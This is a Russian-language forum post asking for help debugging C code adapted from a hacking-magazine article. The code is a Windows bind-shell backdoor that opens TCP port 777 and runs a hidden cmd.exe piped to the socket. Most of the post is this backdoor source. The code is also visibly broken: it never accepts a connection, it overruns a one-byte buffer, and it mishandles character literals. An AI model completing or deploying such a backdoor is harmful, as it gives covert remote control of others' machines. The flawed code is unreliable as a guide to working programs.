Вот решил дописать пример из этой статьи http://www.xakep.ru//magazine/xs/048/016/1.asp .Получилось вот что: Code: #include <windows.h> main() { SECURITY_ATTRIBUTES sa; SOCKET s;WSADATA wsaData; sockaddr_in adr; adr.sin_family=AF_INET; adr.sin_port=htons(777); adr.sin_addr.s_addr=INADDR_ANY; HANDLE cstdin,wstdin,rstdin,rstdout,cstdout; LPDWORD fexit; int MAX_BUF_SIZE=1024;int a; STARTUPINFO si; LPTSTR SHELL="cmd.exe";PROCESS_INFORMATION pi; DWORD N,total; char buf[1]; sa.lpSecurityDescriptor = NULL; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = TRUE; WSAStartup (MAKEWORD (1,1),&wsaData); s=socket(AF_INET,SOCK_STREAM,0); bind(s,(sockaddr*)&adr,sizeof(adr)); listen(s,3); if (!CreatePipe(&cstdin, &wstdin, &sa, 0)) return -1; if (!CreatePipe(&rstdout, &cstdout, &sa, 0)) return -1; GetStartupInfo(&si); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; si.hStdOutput = cstdout; si.hStdError = cstdout; si.hStdInput = cstdin; if (!CreateProcess(0, SHELL, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0,0,&si,&pi)) return -1; GetExitCodeProcess(pi.hProcess,(LPDWORD)&fexit); while (fexit == (LPDWORD)STILL_ACTIVE) { if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N) { for ( a = 0; a < total; a += MAX_BUF_SIZE) { ReadFile(rstdout, buf, MAX_BUF_SIZE, &N, 0); send(s, buf, N, 0); } } if (!ioctlsocket(s, FIONREAD , &N) && N) { recv(s, buf, 1, 0); if (*buf == 'x0A') WriteFile(wstdin, "x0D", 1, &N, 0); WriteFile(wstdin, buf, 1, &N, 0); } Sleep(1); } } Только вот и получилась ещё куча проблем 1.Цикл while какой то непонятный ,вроде бы GetExitCodeProcess должен быть в теле цикла ,но если он там то программа завершается раньше запущенного cmd(то есть мгновенно) 2.Хоть и при запуске порт открывается cmd запускается и можно через телнет подключится к тому порту но такой шелл абсолютно не реагирует ни на какие команды(возможно все таки из за кривого while?)